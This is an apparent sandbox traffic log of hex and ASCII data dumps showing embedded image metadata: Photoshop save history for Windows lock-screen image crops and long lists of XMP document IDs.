2022-07-20 17:31:06 UTC	561	IN	Data Raw: 61 6e 61 5c 41 63 71 75 69 73 69 74 69 6f 6e 73 52 65 6d 69 6e 64 65 72 73 5c 43 68 6f 73 65 6e 5c 43 72 6f 70 73 5c 41 63 71 52 65 6d 69 6e 64 65 72 73 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 34 35 32 31 36 32 38 39 35 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 39 2d 31 35 54 31 33 3a 35 30 3a 35 31 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 43 6f 72 74 61 6e 61 5c 41 63 71 75 69 73 69 74 69 6f 6e 73 52 65 6d 69 6e 64 65 72 73 5c 43 68 6f 73 65 6e 5c 43 72 6f 70 73 5c 41 63 71 52 65 6d 69 6e 64 65 72 73 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 31 31 31 30 35 38 30 34 33 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 Data Ascii: ana\AcquisitionsReminders\Chosen\Crops\AcqReminders_GettyImages-452162895_1920x1080.jpg saved 2017-09-15T13:50:51-07:00 File C:\Users\v-lizagh\MS\Windows10\Cortana\AcquisitionsReminders\Chosen\Crops\AcqReminders_GettyImages-111058043_1920x1080.jpg
2022-07-20 17:31:06 UTC	577	IN	Data Raw: 63 68 38 5c 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 4c 6f 63 6b 32 30 31 37 2d 42 38 5f 42 65 61 63 68 53 61 72 64 69 6e 69 61 49 74 61 6c 79 5f 70 38 37 31 6d 31 30 30 36 32 36 32 66 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 31 30 2d 32 33 54 31 36 3a 32 39 3a 33 39 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 42 69 6e 67 45 64 67 65 47 72 6f 77 74 68 49 6d 61 67 65 73 5c 4c 6f 63 6b 32 30 31 37 5f 42 61 74 63 68 38 5c 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 4c 6f 63 6b 32 30 31 37 2d 42 38 5f 47 72 65 61 74 42 61 72 72 69 65 72 52 65 65 66 41 75 73 74 72 61 6c 69 61 5f 4f 66 66 73 65 74 5f 34 32 36 37 32 37 5f 31 Data Ascii: ch8\CHOSEN\Crops\Lock2017-B8_BeachSardiniaItaly_p871m1006262f_1920x1080.jpg saved 2017-10-23T16:29:39-07:00 File C:\Users\v-lizagh\MS\Windows10\BingEdgeGrowthImages\Lock2017_Batch8\CHOSEN\Crops\Lock2017-B8_GreatBarrierReefAustralia_Offset_426727_1
2022-07-20 17:31:06 UTC	593	IN	Data Raw: 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 6f 6d 65 6e 74 73 49 6e 54 69 6d 65 5c 57 69 6e 74 65 72 45 6e 74 65 72 74 61 69 6e 6d 65 6e 74 5c 44 65 63 32 30 31 37 5c 43 68 6f 73 65 6e 5c 43 72 6f 70 73 5c 4d 49 54 2d 57 69 6e 74 65 72 45 6e 74 44 65 63 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 36 31 39 33 35 36 34 38 34 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 31 32 2d 30 34 54 31 31 3a 33 35 3a 33 37 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 37 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4d 49 54 2d 57 69 6e 74 65 72 Data Ascii: h\MS\Windows10\MomentsInTime\WinterEntertainment\Dec2017\Chosen\Crops\MIT-WinterEntDec_GettyImages-619356484_1920x1080.jpg saved 2017-12-04T11:35:37-08:00 File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2017\AutoRecover\_MIT-Winter
2022-07-20 17:31:06 UTC	601	IN	Data Raw: 32 2d 31 34 54 31 32 3a 33 33 3a 35 32 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 6f 6d 65 6e 74 73 49 6e 54 69 6d 65 5c 43 6f 6c 6c 65 67 65 46 6f 6f 74 62 61 6c 6c 42 6f 77 6c 5c 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 4d 49 54 2d 43 6f 6c 6c 65 67 65 46 6f 6f 74 62 61 6c 6c 42 6f 77 6c 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 38 32 36 32 31 30 38 38 36 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 31 32 2d 31 34 54 31 32 3a 33 36 3a 33 30 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 Data Ascii: 2-14T12:33:52-08:00 File C:\Users\v-lizagh\MS\Windows10\MomentsInTime\CollegeFootballBowl\CHOSEN\Crops\MIT-CollegeFootballBowl_GettyImages-826210886_1920x1080.jpg saved 2017-12-14T12:36:30-08:00 File C:\Users\v-lizagh\MS\Windows10\Lockscreen_1
2022-07-20 17:31:06 UTC	617	IN	Data Raw: 6e 64 6f 77 73 31 30 5c 5f 5f 54 65 6d 70 6c 61 74 65 73 5c 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 38 2d 30 31 2d 32 34 54 31 35 3a 32 30 3a 34 39 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 42 69 6e 67 45 64 67 65 47 72 6f 77 74 68 49 6d 61 67 65 73 5c 4c 6f 63 6b 32 30 31 37 2d 42 61 74 63 68 31 30 5f 50 4f 41 5c 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 53 75 6e 73 65 74 57 65 6c 69 67 61 6d 61 53 72 69 4c 61 6e 6b 61 5f 41 64 6f 62 65 53 74 6f 63 6b 5f 31 37 33 37 38 36 32 39 33 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 Data Ascii: ndows10\__Templates\Lockscreen_1920x1080_Landscape.psd saved 2018-01-24T15:20:49-08:00 File C:\Users\v-lizagh\MS\Windows10\BingEdgeGrowthImages\Lock2017-Batch10_POA\CHOSEN\Crops\SunsetWeligamaSriLanka_AdobeStock_173786293_1920x1080.jpg saved 2
2022-07-20 17:31:06 UTC	649	IN	Data Raw: 72 6e 61 74 69 6f 6e 61 6c 5c 48 6f 6d 65 77 6f 72 6b 41 69 64 5c 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 4d 49 54 2d 49 6e 74 6c 5f 48 6f 6d 65 77 6f 72 6b 41 69 64 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 31 30 38 31 32 39 36 31 38 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 38 2d 30 32 2d 31 35 54 31 35 3a 31 39 3a 35 30 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 49 54 2d 49 6e 74 65 72 6e 61 74 69 6f 6e 61 6c 5c 48 6f 6d 65 77 6f 72 6b 41 69 64 5c 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 4d 49 54 2d 49 6e 74 6c 5f 48 6f 6d 65 77 6f 72 6b 41 69 64 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 31 30 38 31 32 39 36 31 38 5f 31 Data Ascii: rnational\HomeworkAid\CHOSEN\Crops\MIT-Intl_HomeworkAid_GettyImages-108129618_1920x1080.jpg saved 2018-02-15T15:19:50-08:00 File C:\Users\v-lizagh\MS\Windows10\MIT-International\HomeworkAid\CHOSEN\Crops\MIT-Intl_HomeworkAid_GettyImages-108129618_1
2022-07-20 17:31:06 UTC	705	IN	Data Raw: 74 6f 52 65 63 6f 76 65 72 5c 5f 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 44 36 31 35 44 35 46 38 38 34 42 44 42 39 37 46 39 38 46 38 45 42 46 31 42 32 46 36 35 39 33 35 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 38 2d 30 33 2d 30 37 54 31 39 3a 31 32 3a 35 39 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 5f 5f 54 65 6d 70 6c 61 74 65 73 5c 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 38 2d 30 33 2d 30 38 54 31 30 3a 32 37 3a 34 34 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 4c 6f 63 6b 73 63 72 65 65 Data Ascii: toRecover\_Lockscreen_1920x1080_LandscapeD615D5F884BDB97F98F8EBF1B2F65935.psb saved 2018-03-07T19:12:59-08:00 File C:\Users\v-lizagh\MS\Windows10\__Templates\Lockscreen_1920x1080_Landscape.psd saved 2018-03-08T10:27:44-08:00 File Lockscree
2022-07-20 17:31:06 UTC	760	IN	Data Raw: 44 33 45 32 42 37 31 41 35 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 33 35 38 32 31 34 35 36 37 45 32 44 32 31 41 39 45 30 41 30 35 42 38 36 41 43 45 37 44 43 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 33 35 41 31 42 37 38 43 44 35 37 31 31 36 33 37 41 42 41 38 39 30 30 37 45 44 36 42 43 46 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 33 36 33 39 41 41 46 39 33 34 42 43 38 31 36 44 38 30 41 31 38 38 45 38 31 41 42 46 31 38 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 33 36 43 37 46 32 30 45 35 36 35 31 37 35 43 35 30 43 37 36 42 41 44 36 42 34 38 34 41 33 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 33 36 43 42 34 31 34 44 38 46 42 45 37 42 34 38 46 36 30 35 38 30 31 39 43 46 Data Ascii: D3E2B71A54</rdf:li> <rdf:li>0358214567E2D21A9E0A05B86ACE7DC4</rdf:li> <rdf:li>035A1B78CD5711637ABA89007ED6BCFB</rdf:li> <rdf:li>03639AAF934BC816D80A188E81ABF18A</rdf:li> <rdf:li>036C7F20E565175C50C76BAD6B484A3C</rdf:li> <rdf:li>036CB414D8FBE7B48F6058019CF
2022-07-20 17:31:06 UTC	800	IN	Data Raw: 38 46 41 37 45 39 35 38 37 34 36 38 46 36 36 38 46 44 44 31 37 43 46 37 42 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 30 39 38 36 34 42 42 43 46 45 39 46 38 45 37 41 44 37 44 30 32 43 44 31 37 32 33 44 39 33 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 30 41 30 39 34 45 39 30 45 39 37 30 39 39 38 44 32 38 36 41 37 43 45 31 38 38 31 35 31 35 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 30 41 31 36 46 43 37 38 31 43 46 39 43 41 36 43 45 38 41 36 30 31 46 46 31 44 33 31 38 31 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 30 41 43 38 43 36 42 46 30 32 42 45 44 43 32 31 45 46 37 46 36 33 32 35 38 35 32 32 46 35 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 30 42 31 45 42 35 31 35 44 45 Data Ascii: 8FA7E9587468F668FDD17CF7B2</rdf:li> <rdf:li>109864BBCFE9F8E7AD7D02CD1723D93B</rdf:li> <rdf:li>10A094E90E970998D286A7CE18815153</rdf:li> <rdf:li>10A16FC781CF9CA6CE8A601FF1D31810</rdf:li> <rdf:li>10AC8C6BF02BEDC21EF7F63258522F53</rdf:li> <rdf:li>10B1EB515DE
2022-07-20 17:31:06 UTC	808	IN	Data Raw: 38 30 38 45 43 46 41 43 46 31 38 31 45 45 35 38 46 38 31 31 41 42 37 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 36 45 31 44 31 34 44 44 38 34 33 43 31 34 35 37 33 34 44 43 39 35 30 43 45 39 33 38 44 37 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 36 46 34 30 35 37 43 41 45 34 35 34 36 42 33 44 43 42 36 45 31 43 43 36 30 44 42 37 30 38 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 36 46 36 43 30 45 41 43 43 39 36 30 38 32 45 37 35 41 31 32 34 45 39 39 41 32 41 30 45 45 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 36 46 37 33 37 35 41 46 41 34 34 35 43 37 39 41 39 34 36 34 37 37 38 30 45 44 35 38 42 44 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 36 46 37 38 33 41 43 37 43 42 45 39 Data Ascii: 808ECFACF181EE58F811AB7B</rdf:li> <rdf:li>16E1D14DD843C145734DC950CE938D74</rdf:li> <rdf:li>16F4057CAE4546B3DCB6E1CC60DB708D</rdf:li> <rdf:li>16F6C0EACC96082E75A124E99A2A0EE8</rdf:li> <rdf:li>16F7375AFA445C79A94647780ED58BD9</rdf:li> <rdf:li>16F783AC7CBE9
2022-07-20 17:31:06 UTC	824	IN	Data Raw: 3c 72 64 66 3a 6c 69 3e 32 34 44 31 34 44 45 46 46 33 38 38 42 41 32 32 38 45 44 31 36 41 36 35 37 30 32 31 36 43 30 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 34 44 32 38 42 46 43 42 36 43 39 32 35 42 36 33 32 32 43 42 44 38 33 36 37 37 35 36 36 34 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 34 44 45 37 44 32 37 41 37 34 33 43 34 37 41 45 30 45 30 36 38 45 44 37 36 32 30 46 33 45 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 34 45 33 43 45 41 38 39 45 31 36 32 41 43 33 44 42 30 41 34 34 42 33 41 46 32 45 45 36 30 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 34 46 36 39 30 39 38 32 42 41 42 41 31 36 41 31 32 44 38 36 46 30 39 35 32 39 34 42 31 31 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a Data Ascii: <rdf:li>24D14DEFF388BA228ED16A6570216C0E</rdf:li> <rdf:li>24D28BFCB6C925B6322CBD836775664A</rdf:li> <rdf:li>24DE7D27A743C47AE0E068ED7620F3E3</rdf:li> <rdf:li>24E3CEA89E162AC3DB0A44B3AF2EE60B</rdf:li> <rdf:li>24F690982BABA16A12D86F095294B115</rdf:li> <rdf:
2022-07-20 17:31:06 UTC	840	IN	Data Raw: 6c 69 3e 33 30 46 39 32 41 46 42 46 37 46 45 35 33 39 33 39 39 38 30 44 37 32 30 36 34 34 45 38 30 45 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 31 30 31 43 44 42 30 36 43 43 36 39 34 42 32 33 31 33 38 32 33 36 45 36 35 36 43 36 33 30 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 31 31 34 41 46 39 31 44 30 33 38 38 43 44 45 30 30 41 37 32 37 34 46 39 37 35 46 36 43 35 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 31 31 39 41 39 30 36 44 35 38 46 37 33 38 35 44 38 36 36 39 45 32 32 41 36 33 42 34 37 44 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 31 31 43 44 34 42 41 34 34 36 38 37 35 34 36 46 30 39 30 42 35 38 45 38 37 45 41 36 35 41 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 31 Data Ascii: li>30F92AFBF7FE53939980D720644E80E5</rdf:li> <rdf:li>3101CDB06CC694B23138236E656C630A</rdf:li> <rdf:li>3114AF91D0388CDE00A7274F975F6C54</rdf:li> <rdf:li>3119A906D58F7385D8669E22A63B47D9</rdf:li> <rdf:li>311CD4BA44687546F090B58E87EA65A8</rdf:li> <rdf:li>31
2022-07-20 17:31:06 UTC	848	IN	Data Raw: 3e 33 37 37 33 37 43 37 32 45 45 31 37 44 39 30 32 36 37 35 46 36 37 44 44 44 37 42 31 38 46 43 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 37 38 30 37 44 45 37 39 43 44 33 31 33 39 45 44 32 38 42 35 33 44 37 34 39 34 30 41 46 42 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 37 38 31 44 39 41 44 42 31 41 35 43 42 41 43 46 43 43 32 43 46 43 43 34 44 39 39 35 32 37 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 37 39 44 45 41 45 45 33 42 34 43 44 42 41 43 34 31 43 39 45 36 30 45 35 44 34 46 37 41 34 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 37 41 30 31 39 35 42 45 33 45 36 37 33 39 39 38 44 32 31 41 43 42 43 43 41 34 44 32 43 43 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 37 41 31 Data Ascii: >37737C72EE17D902675F67DDD7B18FC6</rdf:li> <rdf:li>37807DE79CD3139ED28B53D74940AFB8</rdf:li> <rdf:li>3781D9ADB1A5CBACFCC2CFCC4D995273</rdf:li> <rdf:li>379DEAEE3B4CDBAC41C9E60E5D4F7A4B</rdf:li> <rdf:li>37A0195BE3E673998D21ACBCCA4D2CC4</rdf:li> <rdf:li>37A1
2022-07-20 17:31:06 UTC	864	IN	Data Raw: 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 34 43 38 35 43 34 36 46 31 32 41 38 38 45 34 43 42 43 34 39 42 41 36 37 45 43 45 38 36 38 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 34 44 32 37 44 31 39 45 39 30 36 35 41 35 46 35 31 38 33 38 36 30 45 34 31 36 36 34 43 42 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 34 44 38 43 31 31 36 36 31 32 35 44 30 45 32 38 39 46 44 33 35 30 43 41 41 43 44 35 38 41 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 34 44 45 37 44 39 42 44 34 33 36 45 43 38 39 41 33 30 35 37 41 44 31 34 46 37 42 37 33 46 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 34 45 39 36 31 38 33 31 41 33 39 34 36 42 45 46 32 38 31 30 33 38 42 43 37 30 31 39 39 38 33 3c 2f 72 64 66 3a Data Ascii: /rdf:li> <rdf:li>44C85C46F12A88E4CBC49BA67ECE8682</rdf:li> <rdf:li>44D27D19E9065A5F5183860E41664CB5</rdf:li> <rdf:li>44D8C1166125D0E289FD350CAACD58AA</rdf:li> <rdf:li>44DE7D9BD436EC89A3057AD14F7B73F9</rdf:li> <rdf:li>44E961831A3946BEF281038BC7019983</rdf:
2022-07-20 17:31:06 UTC	880	IN	Data Raw: 35 31 33 33 41 43 46 37 43 39 38 44 37 36 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 31 43 41 32 32 37 38 38 39 46 44 45 39 34 41 45 30 35 42 36 42 31 44 33 30 37 41 36 39 43 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 31 44 38 46 37 31 46 36 43 39 30 41 45 30 46 41 34 45 45 31 45 32 44 46 44 39 33 39 32 32 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 31 46 37 42 31 44 46 46 39 32 35 31 34 34 35 45 32 34 36 30 43 46 34 30 31 38 34 33 33 31 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 32 31 43 39 38 33 46 33 45 46 45 39 36 33 33 41 34 34 33 30 31 33 39 45 37 39 36 36 38 44 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 32 31 44 36 37 34 43 43 30 33 30 30 43 38 32 35 31 33 32 33 41 Data Ascii: 5133ACF7C98D766</rdf:li> <rdf:li>51CA227889FDE94AE05B6B1D307A69C8</rdf:li> <rdf:li>51D8F71F6C90AE0FA4EE1E2DFD93922C</rdf:li> <rdf:li>51F7B1DFF9251445E2460CF40184331B</rdf:li> <rdf:li>521C983F3EFE9633A4430139E79668DE</rdf:li> <rdf:li>521D674CC0300C8251323A
2022-07-20 17:31:06 UTC	887	IN	Data Raw: 34 35 30 39 33 45 33 46 42 35 44 36 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 38 37 35 36 46 33 33 30 43 32 31 34 42 30 34 39 36 46 37 35 37 37 45 30 31 43 39 36 46 45 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 38 37 36 34 38 30 35 41 35 45 39 34 37 38 33 46 46 30 36 45 45 42 37 35 44 43 31 42 39 34 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 38 38 36 33 37 37 35 42 46 45 44 30 34 39 36 36 44 43 32 32 39 42 41 44 33 35 39 35 39 31 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 38 39 36 41 34 37 44 32 45 31 46 43 36 33 34 32 42 39 42 37 43 43 37 37 35 41 46 39 33 46 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 38 42 44 31 45 35 39 37 44 33 44 38 41 41 30 41 43 46 39 45 37 34 46 Data Ascii: 45093E3FB5D68</rdf:li> <rdf:li>58756F330C214B0496F7577E01C96FE9</rdf:li> <rdf:li>58764805A5E94783FF06EEB75DC1B94A</rdf:li> <rdf:li>58863775BFED04966DC229BAD3595915</rdf:li> <rdf:li>5896A47D2E1FC6342B9B7CC775AF93F4</rdf:li> <rdf:li>58BD1E597D3D8AA0ACF9E74F
2022-07-20 17:31:06 UTC	903	IN	Data Raw: 45 46 42 43 46 42 42 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 37 32 36 37 37 42 35 42 30 45 36 35 41 39 41 37 33 44 34 36 45 43 32 46 30 39 39 43 33 35 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 37 33 32 34 32 38 43 39 46 37 45 45 35 34 34 36 44 39 34 45 46 42 41 46 43 44 46 38 41 30 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 37 33 42 31 36 31 35 41 42 32 33 43 36 42 43 39 36 32 38 46 34 46 39 45 36 43 45 30 31 32 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 37 34 32 35 36 44 36 44 37 31 44 46 34 42 32 38 38 44 39 38 43 43 43 35 41 43 39 33 43 41 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 37 34 38 33 38 45 39 46 30 31 37 44 43 44 36 38 39 37 44 45 42 30 35 38 46 42 42 38 Data Ascii: EFBCFBB4</rdf:li> <rdf:li>672677B5B0E65A9A73D46EC2F099C35B</rdf:li> <rdf:li>6732428C9F7EE5446D94EFBAFCDF8A02</rdf:li> <rdf:li>673B1615AB23C6BC9628F4F9E6CE012C</rdf:li> <rdf:li>674256D6D71DF4B288D98CCC5AC93CAE</rdf:li> <rdf:li>674838E9F017DCD6897DEB058FBB8
2022-07-20 17:31:06 UTC	919	IN	Data Raw: 39 33 37 41 44 37 30 31 46 32 32 43 33 31 45 34 44 31 41 45 32 32 45 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 35 37 45 32 36 41 37 42 35 46 38 36 35 34 41 43 39 33 30 31 45 37 37 38 44 34 32 33 37 39 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 35 38 42 36 36 36 41 38 39 30 30 31 36 34 46 37 31 33 34 33 35 32 36 31 30 38 38 33 35 38 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 35 39 35 42 36 43 37 31 37 31 44 44 34 36 32 45 37 42 31 30 44 42 30 38 39 32 43 34 46 33 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 35 42 36 45 41 38 42 39 44 33 37 43 46 36 33 41 36 35 36 31 34 41 30 45 33 41 39 45 33 44 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 35 42 46 35 34 31 33 32 44 36 30 31 Data Ascii: 937AD701F22C31E4D1AE22E0</rdf:li> <rdf:li>757E26A7B5F8654AC9301E778D42379D</rdf:li> <rdf:li>758B666A8900164F7134352610883584</rdf:li> <rdf:li>7595B6C7171DD462E7B10DB0892C4F31</rdf:li> <rdf:li>75B6EA8B9D37CF63A65614A0E3A9E3DF</rdf:li> <rdf:li>75BF54132D601
2022-07-20 17:31:06 UTC	927	IN	Data Raw: 39 46 38 45 31 31 32 31 41 35 36 33 31 35 42 46 42 33 44 45 38 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 42 43 33 42 37 34 44 37 33 39 34 31 34 44 30 39 41 45 36 33 45 32 45 30 36 36 33 39 32 31 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 42 44 35 43 43 41 42 45 38 45 31 34 37 42 31 34 30 41 37 38 41 33 37 33 41 44 38 31 32 41 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 42 44 42 45 34 39 36 39 46 33 43 44 35 32 36 37 30 41 41 35 39 36 31 38 32 35 32 36 33 37 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 42 46 30 46 43 41 41 36 30 37 38 39 34 33 36 37 35 35 38 44 30 32 38 35 45 38 41 31 30 33 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 43 30 37 46 43 39 37 32 36 44 43 43 38 39 Data Ascii: 9F8E1121A56315BFB3DE8B</rdf:li> <rdf:li>7BC3B74D739414D09AE63E2E06639211</rdf:li> <rdf:li>7BD5CCABE8E147B140A78A373AD812A7</rdf:li> <rdf:li>7BDBE4969F3CD52670AA59618252637E</rdf:li> <rdf:li>7BF0FCAA607894367558D0285E8A103E</rdf:li> <rdf:li>7C07FC9726DCC89
